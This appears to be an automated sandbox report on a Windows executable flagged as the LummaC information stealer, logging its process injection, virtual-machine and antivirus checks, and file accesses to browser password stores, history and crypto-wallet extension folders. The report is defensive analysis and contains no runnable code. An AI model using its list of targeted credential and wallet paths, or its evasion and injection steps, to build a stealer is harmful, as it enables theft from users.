Source: C:\Users\user\Desktop\arcaneloader.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: arcaneloader.exe, 00000003.00000003.2196929232.00000000057D8000.00000004.00000800.00020000.00000000.sdmp, arcaneloader.exe, 00000003.00000003.2197303041.00000000057BA000.00000004.00000800.00020000.00000000.sdmp, arcaneloader.exe, 00000003.00000003.2218738323.00000000057D1000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: arcaneloader.exe

ReversingLabs: Detection: 42%

Source: C:\Users\user\Desktop\arcaneloader.exe

File read: C:\Users\user\Desktop\arcaneloader.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\arcaneloader.exe "C:\Users\user\Desktop\arcaneloader.exe"
Source: C:\Users\user\Desktop\arcaneloader.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\arcaneloader.exe	Process created: C:\Users\user\Desktop\arcaneloader.exe "C:\Users\user\Desktop\arcaneloader.exe"
Source: C:\Users\user\Desktop\arcaneloader.exe	Process created: C:\Users\user\Desktop\arcaneloader.exe "C:\Users\user\Desktop\arcaneloader.exe"	Jump to behavior

Source: C:\Users\user\Desktop\arcaneloader.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: arcaneloader.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_ISOLATION, GUARD_CF, TERMINAL_SERVER_AWARE

Source: arcaneloader.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: arcaneloader.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: arcaneloader.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: arcaneloader.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: arcaneloader.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: arcaneloader.exe	Static PE information: section name: .00cfg
Source: arcaneloader.exe	Static PE information: section name: .coS

Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 0_2_00DC4BC5 push ecx; ret		0_2_00DC4BD8
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_00DC4BC5 push ecx; ret		3_2_00DC4BD8

Source: C:\Users\user\Desktop\arcaneloader.exe

Code function: 0_2_00DC4CA2 GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00DC4CA2

Source: C:\Users\user\Desktop\arcaneloader.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\arcaneloader.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\arcaneloader.exe TID: 2300	Thread sleep time: -210000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe TID: 2300	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\arcaneloader.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 0_2_00DCC7DB FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00DCC7DB
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 0_2_00DCC72A FindFirstFileExW,	0_2_00DCC72A
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_00DCC7DB FindFirstFileExW,FindNextFileW,FindClose,FindClose,	3_2_00DCC7DB
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_00DCC72A FindFirstFileExW,	3_2_00DCC72A

Source: arcaneloader.exe, 00000003.00000003.2218037186.00000000057F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: arcaneloader.exe, 00000003.00000003.2218037186.00000000057F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: arcaneloader.exe, 00000003.00000003.2218037186.00000000057F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: arcaneloader.exe, 00000003.00000003.2218037186.00000000057F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: arcaneloader.exe, 00000003.00000003.2218037186.00000000057F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: arcaneloader.exe, 00000003.00000003.2218037186.00000000057F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: arcaneloader.exe, 00000003.00000003.2218037186.00000000057F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: arcaneloader.exe, 00000003.00000002.2349286243.00000000031DC000.00000004.00000020.00020000.00000000.sdmp, arcaneloader.exe, 00000003.00000003.2347314866.00000000031DC000.00000004.00000020.00020000.00000000.sdmp, arcaneloader.exe, 00000003.00000002.2349286243.000000000320A000.00000004.00000020.00020000.00000000.sdmp, arcaneloader.exe, 00000003.00000003.2347314866.000000000320A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: arcaneloader.exe, 00000003.00000003.2218037186.00000000057F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: arcaneloader.exe, 00000003.00000003.2218037186.00000000057F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: arcaneloader.exe, 00000003.00000003.2218037186.00000000057F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: arcaneloader.exe, 00000003.00000003.2218037186.00000000057F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: arcaneloader.exe, 00000003.00000003.2218037186.00000000057F7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: arcaneloader.exe, 00000003.00000003.2218037186.00000000057F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: arcaneloader.exe, 00000003.00000003.2218037186.00000000057F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: arcaneloader.exe, 00000003.00000003.2218037186.00000000057F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: arcaneloader.exe, 00000003.00000003.2218037186.00000000057F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: arcaneloader.exe, 00000003.00000003.2218037186.00000000057F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: arcaneloader.exe, 00000003.00000003.2218037186.00000000057F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: arcaneloader.exe, 00000003.00000003.2218037186.00000000057F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: arcaneloader.exe, 00000003.00000003.2218037186.00000000057F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: arcaneloader.exe, 00000003.00000002.2349286243.000000000320A000.00000004.00000020.00020000.00000000.sdmp, arcaneloader.exe, 00000003.00000003.2347314866.000000000320A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW)b
Source: arcaneloader.exe, 00000003.00000003.2218037186.00000000057F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: arcaneloader.exe, 00000003.00000003.2218037186.00000000057F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: arcaneloader.exe, 00000003.00000003.2218037186.00000000057F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: arcaneloader.exe, 00000003.00000003.2218037186.00000000057F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: arcaneloader.exe, 00000003.00000003.2218037186.00000000057F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: arcaneloader.exe, 00000003.00000003.2218037186.00000000057F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: arcaneloader.exe, 00000003.00000003.2218037186.00000000057F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: arcaneloader.exe, 00000003.00000003.2218037186.00000000057F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: arcaneloader.exe, 00000003.00000003.2218037186.00000000057F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: arcaneloader.exe, 00000003.00000003.2218037186.00000000057F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: arcaneloader.exe, 00000003.00000003.2218037186.00000000057F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: arcaneloader.exe, 00000003.00000003.2218037186.00000000057F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\arcaneloader.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\arcaneloader.exe

Code function: 3_2_0043F4A0 LdrInitializeThunk,

3_2_0043F4A0

Source: C:\Users\user\Desktop\arcaneloader.exe

Code function: 0_2_00DC5444 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00DC5444

Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 0_2_00DDB18D mov edi, dword ptr fs:[00000030h]	0_2_00DDB18D
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 0_2_00DBCD10 mov eax, dword ptr fs:[00000030h]	0_2_00DBCD10
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 0_2_00DBBD50 mov edi, dword ptr fs:[00000030h]	0_2_00DBBD50
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_00DBBD50 mov edi, dword ptr fs:[00000030h]	3_2_00DBBD50
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_00DBCD10 mov eax, dword ptr fs:[00000030h]	3_2_00DBCD10

Source: C:\Users\user\Desktop\arcaneloader.exe

Code function: 0_2_00DC9F90 GetProcessHeap,

0_2_00DC9F90

Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 0_2_00DC5444 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00DC5444
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 0_2_00DC5438 SetUnhandledExceptionFilter,	0_2_00DC5438
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 0_2_00DC7DCA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00DC7DCA
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 0_2_00DC4AD9 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00DC4AD9
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_00DC4AD9 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_00DC4AD9
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_00DC5444 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00DC5444
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_00DC5438 SetUnhandledExceptionFilter,	3_2_00DC5438
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 3_2_00DC7DCA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00DC7DCA

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\arcaneloader.exe

Code function: 0_2_00DDB18D GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessW,CreateProcessW,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_00DDB18D

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\arcaneloader.exe

Memory written: C:\Users\user\Desktop\arcaneloader.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\arcaneloader.exe

Process created: C:\Users\user\Desktop\arcaneloader.exe "C:\Users\user\Desktop\arcaneloader.exe"

Jump to behavior

Source: C:\Users\user\Desktop\arcaneloader.exe

Code function: 0_2_00DC5200 cpuid

0_2_00DC5200

Source: C:\Users\user\Desktop\arcaneloader.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\arcaneloader.exe

Code function: 0_2_00DC58C5 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00DC58C5

Source: C:\Users\user\Desktop\arcaneloader.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: arcaneloader.exe, 00000003.00000003.2347546529.000000000325E000.00000004.00000020.00020000.00000000.sdmp, arcaneloader.exe, 00000003.00000002.2349458499.0000000003260000.00000004.00000020.00020000.00000000.sdmp, arcaneloader.exe, 00000003.00000002.2349286243.000000000320A000.00000004.00000020.00020000.00000000.sdmp, arcaneloader.exe, 00000003.00000003.2291391103.000000000326F000.00000004.00000020.00020000.00000000.sdmp, arcaneloader.exe, 00000003.00000003.2347314866.000000000320A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\arcaneloader.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: arcaneloader.exe PID: 280, type: MEMORYSTR
Source: Yara match	File source: 3.2.arcaneloader.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.arcaneloader.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2147698291.000000000349E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: arcaneloader.exe, 00000003.00000003.2347546529.000000000325E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Electrum-LTC\wallets$
Source: arcaneloader.exe, 00000003.00000003.2265617650.000000000327A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: arcaneloader.exe, 00000003.00000003.2347546529.000000000325E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.walletY
Source: arcaneloader.exe, 00000003.00000003.2265858312.000000000328C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Exodus
Source: arcaneloader.exe, 00000003.00000003.2265617650.000000000327A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: arcaneloader.exe, 00000003.00000003.2265858312.000000000328C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\arcaneloader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
